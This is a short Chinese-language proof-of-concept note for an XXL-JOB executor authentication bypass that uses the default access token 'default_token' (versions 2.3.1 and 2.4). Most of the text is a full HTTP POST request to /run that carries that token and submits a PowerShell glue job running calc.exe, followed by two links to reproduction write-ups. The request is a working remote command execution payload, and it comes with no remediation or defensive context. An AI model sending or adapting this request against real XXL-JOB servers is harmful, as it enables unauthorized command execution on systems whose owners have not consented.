## XXL-JOB默认accessToken身份绕过漏洞


## 漏洞影响
```
2.3.1和2.4
```

## poc
请求头加上XXL-JOB-ACCESS-TOKEN: default_token

```
POST /run HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "SERIAL_EXECUTION",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "calc.exe",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}
```

## 漏洞复现
```
https://mp.weixin.qq.com/s/9vcIRCbKyisFq3vPXmiMkQ
https://www.cnblogs.com/chm0d/p/17805168.html
```